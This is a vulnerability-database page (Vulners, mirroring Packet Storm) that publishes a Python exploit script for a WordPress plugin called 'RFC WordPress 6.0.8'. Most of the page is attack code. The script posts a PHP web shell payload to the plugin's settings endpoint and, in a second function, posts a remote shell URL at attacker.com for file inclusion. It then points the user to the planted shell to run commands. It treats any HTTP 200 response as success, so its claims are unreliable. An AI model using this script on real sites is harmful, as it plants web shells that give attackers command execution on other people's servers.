Lucene search
K

WordPress RFC WordPress 6.0.8 Shell Upload

🗓️ 17 Jun 2024 00:00:00Reported by E1.CodersType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 630 Views

Exploit for Remote Code Execution in WordPress RFC 6.0.

Code
`  
Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8  
  
import requests  
import sys  
  
target = "https://target.com"  
  
# Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8  
#CODE BY E1.Coders "The King of Security"  
def exploit_rfc_wordpress():  
url = f"{target}/wp-content/plugins/rfc-wordpress/rfc.php"  
payload = "<?php system($_GET['cmd']); ?>"  
  
try:  
response = requests.post(url, data={"rfc_action": "save_settings", "rfc_settings": payload})  
if response.status_code == 200:  
print("RCE exploit successful!")  
print(f"Visit {url}?cmd=whoami to execute commands")  
else:  
print("RCE exploit failed.")  
except requests.exceptions.RequestException as e:  
print(f"Error: {e}")  
  
# Exploit for Remote File Inclusion (RFI) in RFC WordPress  
def exploit_rfi_rfc_wordpress():  
url = f"{target}/wp-content/plugins/rfc-wordpress/rfc.php?rfc_action=save_settings"  
payload = "http://attacker.com/shell.php"  
  
try:  
response = requests.post(url, data={"rfc_settings": payload})  
if response.status_code == 200:  
print("RFI exploit successful!")  
print(f"Visit {target}/wp-content/plugins/rfc-wordpress/shell.php to execute commands")  
else:  
print("RFI exploit failed.")  
except requests.exceptions.RequestException as e:  
print(f"Error: {e}")  
  
if __name__ == "__main__":  
exploit_rfc_wordpress()  
exploit_rfi_rfc_wordpress()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jun 2024 00:00Current
7.4High risk
Vulners AI Score7.4
630